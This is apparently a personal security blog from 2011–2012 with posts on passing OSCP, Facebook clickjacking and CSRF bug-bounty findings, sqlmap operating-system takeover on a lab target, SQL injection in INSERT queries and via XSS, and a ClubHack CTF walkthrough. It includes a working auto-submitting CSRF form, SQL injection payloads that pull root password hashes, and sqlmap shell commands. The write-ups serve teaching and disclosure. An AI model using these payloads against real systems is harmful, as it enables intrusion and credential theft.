Wednesday, 21 November 2012

My Journey to OSCP


This all started when I enrolled for PWB, the most exciting course in network security. I had enough days to spend in lab but the pressure was to complete it in a months time. I started Lab from day 1. Lab was most exciting thing. It taught me "Enumeration is the KEY". Enumerate, enumerate & enumerate before exploitation.

Lab was having approx 60 machines waiting to get pwned with different OS and vulnerabilities. I managed to get Lab Goal pwning all targets in the path.

It was fun to get shell on server.

Then the day arrived when i decided to take the challenge. I choose the slot from 11:30PM as I'm good at night. I took a good sleep a night before and during the day. I was bit relaxed and confident waiting for mail for exam setup.

Ay 11:30PM, mail arrived with all necessary information for the exam. Looking at it, I feel confident and started my enumeration phase.

Till 5:00AM, I managed to reach half way. Feel good. And then it happened. Next 10 hrs, no success. Sill at half-way mark. I started feeling frustration with decreasing confidence. Damn ... everything was perfect but something not working. :(

At 1:00PM, I had lunch and started fresh with other targets since the last on was more painful. Bingo!! More success!! but still less.

This has increased my confidence a little. Now I decided to head the painful target one more time. I had a backup plan in mind if this thing doesn't work for next 2 hr. My heart started beating fast n fast as time was running out.

And it happened !! I managed to score more than the passing limit. Hush!! :)

My well wishers encouraged me to go after 100pts, but I decided to stop here. This is mostly due to the stress I experienced in last 24hrs.

There were moments during challenge when you see all things perfect but result is fail. I learned to keep eye on very small details which effectively contribute a big difference.

During all these painful 30 days, my wife stood behind me and this certification would not be possible without her help and support. I thank you, my Love.

I would like to thanks all my friends from garage4hackers, especially b0nd for his suggestions and encouragements. Also I would like to thank "T.Basu" for support.

Now I can proudly shout "I'm OSCP".

Tuesday, 21 August 2012

No XFO? It's time for Facebook Clickjacking


This post is the summary of the clickjacking bugs I reported for Facebook bug bounty program. All these bugs discussed here are now fixed. Attacker was able to add any malicious facebook app with any permissions to victims account just by one click. Vulnerable pages discussed below were lacking Anti-Clickjacking Protection such as X-Frame-Options header which renders the vulnerable page in iframe (invisible).

First bug I found was in permissions.request dialog on Facebook Mobile site. This dialog was used to add Facebook apps to authenticated user. A single click on "Allow" button would add the app to victim facebook profile.

The vulnerable link, which adds "Graph API Explorer" app, was:

http://m.facebook.com/dialog/permissions.request?app_id=145634995501895&display=wap&next=http%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fexplorer%2Fcallback&response_type=code&fbconnect=1

Here "display" parameter was used to decide the apperance of the page based on values supplied. It has 3 values: page, wap & touch. Page display was mainly used in Facebook main site and wap & touch was for Facebook mobile site.

The next bug was the variation of the previous bug where the permissions.request dialog page was able to render in iframe with "display=wap" parameter. With this parameter, the page looks like Mobile facebook page in Facebook main site which was lacking the clickjakcing protection at that time. The vulnerable page for this was:

https://www.facebook.com/dialog/permissions.request?app_id=113556445341048&redirect_uri=http%3A%2F%2Fapps.facebook.com%2Fiastrology%2F%3Finstalled%3D1&display=wap&response_type=code&canvas=1&perms=user_birthday%2Cfriends_birthday%2Cemail

Till this I learned new things about these dialogs and was able to add any permissions to the app.

The last bug was about oauth dialog. This was again from Facebook Mobile site. The vulnerable page was:

https://m.facebook.com/dialog/oauth?client_id=380424275310198&redirect_uri=http%3A%2F%2Fwlcm.info%2Fbday%2Fh%2Fmain.php&state=13629742989dab8ab4e9681582a6fb2c&scope=status_update%2Cpublish_stream%2Cuser_birthday&response_type=code

Sadly this bug didn't win any bounty as Facebook said "This can't be protected with X-Frame-Options because it needs to be servable in an arbitrary iframe.".

Well, I developed my own process to find such bugs which helps me to identify them quickly.

All of these bugs will result in adding malicious app with unwanted permissions to victim's account only with single user click. These permissions includes access to email, status message and many other things.

Here is a small demonstration:



That's all. Hope you like this post. Suggessions, comments are welcome.

Sunday, 19 August 2012

Facebook CSRF worth USD 5000

This post is about a Cross-Site Request Forgery (CSRF) bug in Facebook I recently reported & now fixed. One fine day, when I logged into Facebook, I noticed a new feature "Appcenter". This feature allows you to choose apps you need. Game apps like Farmvilla are more popular.

I was previously working on apps, so decided to give a shot to this new feature. The game apps, when clicked "Play Game" button, was generating a POST request.

Example:

POST /connect/uiserver.php HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://www.facebook.com/appcenter/bubbleisland?fb_source=appcenter
Cookie: <user_cookies>
Content-Type: application/x-www-form-urlencoded
Content-Length: 800

fb_dtsg=AQA-UJ7c&perms=email%2Cpublish_actions&new_perms=ASLlW7IHiYKu-ZMcemoLEUlDlumPU0z7d0gOzKM5z2BfP1Z-zw8cdicB23IOy6AdtrbRYjH8aVKwjIfgWruVFWYpjz26INpaKwAQhsPclOtPvQ&orig_perms=ASKG-CjoMB7nJHLuWUICKb1rxAeU8wUcn7qi9rO2VwppP0UB1zJd7M4rZexK5spGmPrPbDPCHPaQBSKCGauSOx4pl-M-43-YbyP0Wxo9wmmsyQ&dubstep=1&new_user_session=1&grant_clicked=1&send_to_mobile_redirect_uri=https%3A%2F%2Fwww.facebook.com%2Fappcenter%2Fbubbleisland%3Ffb_source%3Dappcenter&app_id=124194560873&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fbubbleisland%2F%3Ffb_source%3Dappcenter%26fb_appcenter%3D1&app_center=1&is_paid_app=&app_center_ref=appcenter&response_type=none&from_post=1&__uiserv_method=permissions.request&grant_clicked=Play+Game&GdpEmailBucket_grantEmailType=contact_email&audience%5B501245709901917%5D%5Bvalue%5D=40

There are many new parameters added in this new feature. Parameter 'fb_dtsg' is like token and 'perm' are the permissions required by the apps. Parameters 'redirect_url','app_id' are app specific values. Remaining parameters seems static except 'new_perms' & 'orig_perms'. I started to play with these two dynamic params and after few attempts, I knew that these params no longer needed to add an app. 

Anti-CSRF tokens like 'fb_dtsg' supposed to get validated at server-side. I was shocked to see that in this new feature, somehow developer missed this point and it was possible to add app without 'fb_dtsg'. Bang!!

Final PoC for this CSRF looks like this:


<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.facebook.com/connect/uiserver.php" method="POST">
        <input type="hidden" name="perms" value="" />
        <input type="hidden" name="dubstep" value=1 />
        <input type="hidden" name="new_user_session" value=1 />
        <input type="hidden" name="grant_clicked" value=1 />
        <input type="hidden" name="send_to_mobile_redirect_uri" value="https%3A%2F%2Fwww.facebook.com%2Fappcenter%2Ftexas_holdem%3Ffb_source%3Dappcenter" />
        <input type="hidden" name="app_id" value="2389801228" />
        <input type="hidden" name="redirect_uri" value="https%3A%2F%2Fapps.facebook.com%2Ftexas_holdem%2F%3Ffb_source%3Dappcenter%26fb_appcenter%3D1" />
        <input type="hidden" name="app_center" value=1 />
        <input type="hidden" name="is_paid_app" value="" />
        <input type="hidden" name="app_center_ref" value="appcenter" />
        <input type="hidden" name="response_type" value="none" />
        <input type="hidden" name="from_post" value=1 />
        <input type="hidden" name="__uiserv_method" value="permissions.request" />
        <input type="hidden" name="grant_clicked" value="Play+Game" />
</form>
</body>
</html>

This functionality was used for other apps as well such as music apps, developers apps. Facebook Security team awarded this bug with $5000.

Facebook was pretty fast to address this issue and resolved this the next day itself. I'm very thankful to Facebook Security Team.

Thursday, 24 May 2012

SQLMap - Operating System Takeover - Windows

Today I'm trying to use "OS takeover" feature of sqlmap. sqlmap can be used to get command shell using sql injection. sqlmap provides following options for OS level access:

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system
    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

sqlmap uses various methods to achieve operating system access based on database type. Please read sqlmap documentation for more information.

The target I used for this is HackMe Bank from FoundStone installed on Windows XP machine (IP:192.168.1.4). HackMe Bank is a vulnerable application written in ASP.Net with MSSQL as backend database. The attacker machine is BackTrack5 (IP:192.168.1.3). Let's browse the target site.






Let's test basic SQL Injection by injecting single quote (') in username field of login page.


And the result is


"Username" field seems to be vulnerable to sql injection. Let's capture the Login request and feed it to sqlmap for further analysis. We can use -r option of sqlmap to provide POST request. The POST request looks like this:

POST /HacmeBank_v2_Website/aspx/login.aspx HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.4/HacmeBank_v2_Website/aspx/login.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 210

__VIEWSTATE=%2FwEPDwUJMzIyNTUyNzAyZGQX7Zm1%2Fne8qfz4FyjBx4QNynpGLw%3D%3D&txtUserName=asd&txtPassword=asd&btnSubmit=Submit&__EVENTVALIDATION=%2FwEWBAL6k9jHDwKl1bKzCQK1qbSRCwLCi9reA9W4eRmwDA5P7LP7g%2BMJe%2Fifr7tT



Let's run sqlmap. I used --dbms=MSSQL and --technique=S (Stack Queries technique) to save time as I already know these details.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r hackme.txt -p txtUserName --dbms=MSSQL --technique=S

    sqlmap/1.0-dev (r5068) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:50:36

[14:50:36] [INFO] parsing HTTP request from 'hackme.txt'
[14:50:36] [INFO] using '/pentest/database/sqlmap/output/192.168.1.4/session' as session file
[14:50:36] [INFO] testing connection to the target url
[14:50:37] [INFO] heuristics detected web page charset 'ascii'
[14:50:38] [WARNING] reflective value(s) found and filtering out
[14:50:38] [WARNING] heuristic test shows that POST parameter 'txtUserName' might not be injectable
[14:50:38] [INFO] testing sql injection on POST parameter 'txtUserName'
[14:50:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[14:50:38] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..    
[14:51:00] [INFO] POST parameter 'txtUserName' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[14:51:00] [INFO] checking if the injection point on POST parameter 'txtUserName' is a false positive
POST parameter 'txtUserName' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 18 HTTP(s) requests:
---
Place: POST
Parameter: txtUserName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJMzIyNTUyNzAyZGQX7Zm1/ne8qfz4FyjBx4QNynpGLw==&txtUserName=asd'; WAITFOR DELAY '0:0:5';--&txtPassword=asd&btnSubmit=Submit&__EVENTVALIDATION=/wEWBAL6k9jHDwKl1bKzCQK1qbSRCwLCi9reA9W4eRmwDA5P7LP7g+MJe/ifr7tT
---

[14:51:15] [INFO] testing Microsoft SQL Server
[14:51:15] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[14:51:20] [INFO] confirming Microsoft SQL Server
[14:51:30] [INFO] adjusting time delay to 2 seconds due to good response times
[14:51:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows XP
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 5.1
back-end DBMS: Microsoft SQL Server 2005
[14:51:30] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.4'

[*] shutting down at 14:51:30

root@bt:/pentest/database/sqlmap#

sqlmap has detected the injection and presented us the OS details and operating system details. You can go ahead and dig more details about databases, tables, columns, users, etc.

1. Option: --os-cmd=OSCMD

sqlmap executes a system command and will display the output. sqlmap will use "xp_cmdshell" for OS system access. I'll demonstrate "hostname" command:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r hackme.txt -p txtUserName --dbms=MSSQL --technique=S --os-cmd=hostname

    sqlmap/1.0-dev (r5068) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:32:07

[16:32:07] [INFO] parsing HTTP request from 'hackme.txt'
[16:32:07] [INFO] using '/pentest/database/sqlmap/output/192.168.1.4/session' as session file
[16:32:07] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from session file
[16:32:07] [INFO] testing connection to the target url
[16:32:09] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txtUserName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJMzIyNTUyNzAyZGQX7Zm1/ne8qfz4FyjBx4QNynpGLw==&txtUserName=asd'; WAITFOR DELAY '0:0:5';--&txtPassword=asd&btnSubmit=Submit&__EVENTVALIDATION=/wEWBAL6k9jHDwKl1bKzCQK1qbSRCwLCi9reA9W4eRmwDA5P7LP7g+MJe/ifr7tT
---

[16:32:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows XP
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 5.1
back-end DBMS: Microsoft SQL Server 2005
[16:32:09] [INFO] testing if current user is DBA
[16:32:09] [INFO] resumed: 1
[16:32:09] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..    
[16:32:18] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[16:32:19] [INFO] testing if xp_cmdshell extended procedure is usable
[16:32:46] [INFO] adjusting time delay to 2 seconds due to good response times
[16:33:19] [INFO] xp_cmdshell extended procedure is usable
do you want to retrieve the command standard output? [Y/n/a] Y
[16:33:24] [INFO] retrieved: XP_FDCC 
command standard output:    'XP_FDCC'

[16:34:24] [INFO] cleaning up the database management system
[16:34:24] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.4'

[*] shutting down at 16:34:24

root@bt:/pentest/database/sqlmap#



2. Option: --os-shell

sqlmap provides you a shell where you can run many commands.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r hackme.txt -p txtUserName --dbms=MSSQL --technique=S --os-shell

    sqlmap/1.0-dev (r5068) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:34:33

[16:34:33] [INFO] parsing HTTP request from 'hackme.txt'
[16:34:33] [INFO] using '/pentest/database/sqlmap/output/192.168.1.4/session' as session file
[16:34:33] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from session file
[16:34:33] [INFO] testing connection to the target url
[16:34:34] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txtUserName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJMzIyNTUyNzAyZGQX7Zm1/ne8qfz4FyjBx4QNynpGLw==&txtUserName=asd'; WAITFOR DELAY '0:0:5';--&txtPassword=asd&btnSubmit=Submit&__EVENTVALIDATION=/wEWBAL6k9jHDwKl1bKzCQK1qbSRCwLCi9reA9W4eRmwDA5P7LP7g+MJe/ifr7tT
---

[16:34:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows XP
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 5.1
back-end DBMS: Microsoft SQL Server 2005
[16:34:34] [INFO] testing if current user is DBA
[16:34:34] [INFO] resumed: 1
[16:34:34] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..    
[16:34:44] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[16:34:44] [INFO] testing if xp_cmdshell extended procedure is usable
[16:35:11] [INFO] adjusting time delay to 2 seconds due to good response times
[16:35:50] [ERROR] invalid character detected. retrying..
[16:35:50] [WARNING] increasing time delay to 3 seconds
[16:36:10] [INFO] xp_cmdshell extended procedure is usable
[16:36:10] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[16:36:10] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> hostname
do you want to retrieve the command standard output? [Y/n/a] Y
[16:40:35] [INFO] retrieved: XP_FDCC 
command standard output:    'XP_FDCC'

os-shell> q
[16:43:00] [INFO] cleaning up the database management system
[16:43:00] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.4'

[*] shutting down at 16:43:00

root@bt:/pentest/database/sqlmap#


3. Option: --os-pwn

sqlmap provides various options to connect to database server like Metasploit meterpreter, out-of-band shell and VNC. Again read sqlmap documentation for more information. Following video demonstrates the meterpreter reverse shell technique:


This concludes the operating system takeover with sqlmap. In next blogpost, I'll try to takeover a linux host.

Hope you like this. Let me know your views, comments, suggestions, etc.

Monday, 6 February 2012

SQL Injection Via XSS


One of the G4H member mandi from www.garage4hackers.com (my second home) asked few days before about xsssqli attack. He had a scenario where the main site is having a cross-site scripting vulnerability and the admin panel has SQL Injection. The page having sql injection in admin panel is only accessible to admin. The question was is it possible to use xss on main site to exploit sql injection on admin panel to get admin account pwned?

Here is my answer with following scenario:

There is a main site which is vulnerable to xss flaw (reflected/stored). The same site has a admin panel which is only accessible to admin users and one of the authenticated pages is vulnerable to sql injection. the admin panel can be a separate package like cpanel and the sql injection vulnerability will be already published (exploit-db FTW!!!).

This is how we can pwn admin account using sql injection via xss.
1. Attacker crafts a xss payload which is using AJAX to make a request with sql injection payload.
2. He sends the payload to admin user.
3. When admin user is logged in into admin panel and clicks the payload link from attacker, the sql injection in admin page is exploited and returns the username & password hashes from admin table.
4. Attacker then submit the returned data to his site using Ajax and will crack password hashes offline.

Video Demonstration:



Any suggestions, comments are welcome.

Update:
As rightly pointed by @antisnatchor on twitter, the issue having xss in main site and sql injeciton in admin panel can be exploited with BeEF Tunneling proxy technique as well. In tunneling proxy, BeEF will use hooked browser (in this case browser used by Admin) as proxy to access the authenticated sessions (in this case the admin panel).
Check BeEF Tunneling Proxy in action

Thursday, 2 February 2012

SQL Injection in INSERT Query

SQL injection is being one of the mostly exploited issues in web application security and has found a place in OWASP Top 10 since 2004. There are many blog posts, papers available on SELECT query injection exploiting WHERE or HAVING clauses. Today I’m going to discuss SQL injection in INSERT query.

The Basics:

INSERT query followed by VALUES inserts rows into an existing table based on explicitly specified values.  The syntax of INSERT query is: (source: http://dev.mysql.com/doc/refman/5.5/en/insert.html)

INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
    [INTO] tbl_name [(col_name,...)]
    {VALUES | VALUE} ({expr | DEFAULT},...),(...),...
    [ ON DUPLICATE KEY UPDATE
      col_name=expr
        [, col_name=expr] ... ]

tbl_name is the table into which rows should be inserted. A comma-separated list of column names can be provided following the table name. In this case, a value for each named column must be provided by the VALUES list.

To insert a record in a table, following query will be used:

INSERT INTO tbl_name (a,b,c) VALUES(‘data’,’data’,’data’);

I hope this is enough to introduce INSERT query.



The Injection:
One of the examples of usage of INSERT query in web application is comment page.


The page requests for name, email address and the comment and inserts this data into database using following query:

INSERT INTO comments (name, email, comment) VALUES (‘lol’,’lol’,’lol’);

In this query, an attacker can inject arbitrary data if the inputs are not sanitized. Let’s check this by placing single quote (‘) in name field.


This results in SQL Error as expected:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'asd', 'asd')' at line 1

Now we can inject any data in all fields with comment string at the end.



To get the result of injected query, we need a place where the injected data is reflected back by the application. In this example, the comment details are printed back on the page.
So let’s start injecting something which will give information about the database server. We can insert sql subquery in place of parameter value. We will insert subquery ‘(select version())’ without single quotes in ‘email’ parameter.



We get the mysql version. In this way we can get the other database details as well like current user, current database, etc.

Let try to get the password of user ‘root’ from mysql.user table.

Injected Data:
test’,(select password from mysql.user where user=’root’),’test2’)-- -

This gives error:
Subquery returns more than 1 row

Hmm, only one row. We will use LIMIT to fetch 1 row at a time. Let’s craft the payload with LIMIT:
test’,(select password from mysql.user where user=’root’ limit 0,1),’test2’)-- -

This works and we now have password hash for user ‘root’:



In this way, we can mine the database with SQL injection in INSERT Query using sql subquery.

The INSERT query is common in user registration pages. Let’s analyze an example. This example is taken from “Mutillidae”, a well-known web application to learn security. A new user provides details such as username, password & signature in order to create an account with the forum/application. This data is then inserted into database using this query. The background SQL query looks like this:

INSERT INTO accounts (username, password, mysignature) VALUES ('data', 'data', 'data');

It’s same as the last example and we will be able to inject arbitrary values into database using single quote (‘) and comment string (-- -):



And the result is:



Great!! The user is added. Now we can use the same sql subquery technique to inject sql queries and to get the data. But the question is where will be the returned data?

There are 2 places where the injected data is being reflected by the app.

One place is “Account created” message as shown in above snapshot. Here ‘username’ value is being reflected. As we cannot control the first single quote (‘) for ‘username’ field, we will not be able to inject subquery which will successfully give us the returned data.

We need to look for other places to see if our injected data is being reflected back. As we have registered an account, let’s login and check if data from inserted SQL query reflected somewhere or not.



We can see ‘signature’ parameter is getting reflected in status message. So we need to inject subqueries into ‘signature’ parameter and we will get returned data in status message.

Let’s start with mysql version(). The payload in username field for this will be:

test’,’test’,(select version()))-- -

And user added successfully.



Now login with username & password as ‘test’ and check status. It should have mysql version info.



Yes, it’s there and the injection is successful. Let’s try to get password hash for user ‘root’.

Payload:
test1’,’test1’,(select password from mysql.user where user=’root’))-- -

And here comes the error:



We again need to use LIMIT to get only one row.

Payload:
test1’,’test1’,(select password from mysql.user where user=’root’ LIMIT 0,1))-- -

And we get password hash for user ‘root’.



That’s all. The same way other data can be mined from the database.

Conclusion:
1. Identify the injection point.
2. Check where the injected data is visible.
3. Use subquery to insert sql queries.
4. Use LIMIT to get one row at a time.

Hope you like this post. Suggestions, queries are welcome.

Monday, 19 December 2011

ClubHack preCON CTF walkthrough

ClubHack 2011, India’s Hacker conference, was held on 3-4 Feb 2011 at Pune, India. They had a pre-conference hacking competition, called as WEBWAR, whose winners can win a free entry to the clubhack event. The winners also qualified to play Treasure Hunt, a physical CTF at clubhack conference.

This post is a walk through for this preCON CTF challenge. After registration for the event, ClubHack provided the link to CTF server. It has a website.

This was a site having download file and login module. At first, it seems we need to login using Login page where there will be more to come. Also with download page, we can download other files which might help us for other attacks or to login into application.

Let’s analyze the login module.

The login page uses MD5 of password string to authenticate.

This login seems to not vulnerable to SQL injection & Auth bypass. Only possible attack will be Brute force which again doesn’t prove anything in CTF. So we need valid credentials to log in.

The other page of interest was download.html.

The download link looks like this:
http://183.82.241.134/ClubHack/download.php?f=1.bin&oa=cf02eabd1afbca475abeb5760f16f0e2f4dfd929

Download page requires 2 parameters: filename & some hash. The hash was identified as SHA1 based on number on characters. After few tests, it was clear that to download any file we need to know filename and SHA1 hash. Filename can be guessed but there was no clue on hash creation for particular file.

Further inspection on download.html reveals execute.php in source as comment. This seems interesting.

When accessed, execute.php shows a form which takes 2 parameters: Command & Filename.

The first thought comes to my mind was Command Injection. When tried with “;ifconfig”, it shows me an error: “Sorry Babu, Test page! Wonly one command is allowed. Try again!”

After several attempts, it was clear that this page not vulnerable to any injection. It seems to work with only one command as said in error message. The I looked for all Linux commands which take filename as parameter. Commands like cat, less, more, tail, etc,etc falls under such category.

None of these seems working. At the end, there were checksum commands left. The command “sha1sum” seems working with valid filename.


Hmm!! Now things are pretty clear. Identify the file to download, generate SHA1 hash of it using execute.php and then use download.php to download it.

Let’s download UserLogin.php as our goal is to get logged in. Following URL used to download it:
http://183.82.241.134/ClubHack/download.php?f=UserLogin.php&oa=36ea1d4979568e6804b61b846ed855fe5d6f626c

Now only thing left was to analyze UserLogin.php, check how it’s authenticating a user and get logged in. But this is CTF and it won’t be that easy.

UserLogin.php was obfuscated. Quick Google search revealed that PHP obfuscator at http://www.fopo.com.ar was used. Now we need to de-obfuscate it. Google search didn’t revealed any online/offline tool for this obfuscation. So only option was left to switch to Manual Mode.

This is how UserLogin.php file looked:

I used local PHP server to obfuscate it. First step was to change eval() to echo() which will give us back the code to analyze further. The output looks like this:

It looks like arbitrary strings used to construct variable and function names. The only way to know it was to echo back the arbitrary string values and replacing it with original strings in code. The input file looks like this:

And output of this is:

The final code after replacing the names looks like this:

Now it’s sort of readable. This code again has one eval() which is doing str_rot13, base64_decode & gzinflate actions on some input string.
Let’s echo it instead of eval.

Now it’s much clear. The PHP code is taking POST parameters which are username & password. Then checking it against the file content. So the file “\x6d\171\x68\141\x73\150\x65\163\x61\162\x65\156\x6f\164\x68\145\x72\145\x2e\164\x78\164” seems to be having credentials. Echo this string to get exact filename.

Now let’s get this file.

Sometimes when you work too much, your brain stops thinking in right direction and you keep trying to the wrong way. I was trying to download this file with download.php which every time says “Invalid file type”. The error keeps me thinking of bypassing content type to get this file. As it’s text file we can access it directly browsing to it.

Wow, now we have credentials. Password is hashed so tampering POST request has helped to login.

Looks like final stage (Final.php). This is a form which looks like email client and used to send a vulnerability report to Security & Management team.

This page has hardcoded email addresses in “sendtomails” hidden parameter and the subject also hardcoded with “Security Updates”.

Both these parameters are validated at server side. Any tampering with these parameters will results in error.

Only Message field is left for user. All the server side attacks like SQL injections, Command/Code injections were not working here. I tried for 2 days at this level. There were no clues available. I felt like lost.

The ClubHack tweeted about 2 flag submissions.

It’s now confirmed that there is a way to get out of this Final.php page. Somehow I couldn’t found it yet. One day before the conference, ClubHack released a hint via twitter.

Now things get clearer. ClubHack was talking about cookies which related to XSS. Cross-site scripting is client side bug and never heard being used in CTF where mostly server side bugs are exploited to get flag.

Finally taking the hint as clue, I proceed with XSS flaw and tried to exploit it.
At first, script & img tags was filtered in Message parameter but rest tags were allowed. Using a href tag with event handler to execute javascript, I was able to access cookies but was not enough to pass the level.


It seems like alerting cookie is not going to help. So next step to include malicious javascript. As script tags was not working, I tried to use bypasses for it. The basic one is to use uppercase-lowercase combination of letters: <ScRiPt>alert(1)</script>



Next is to include malicious javascript. In this case, I included a demo script as:


It worked and gives away flag string and link to submit the flag.

ClubHack has replied one of my tweets after the flag submission.

After 3 days of efforts, it paid well. I enjoyed ClubHack event. Thanks to ClubHack team & NII for creating this CTF.

I hope you enjoyed this post. Any comments, suggestions are welcome.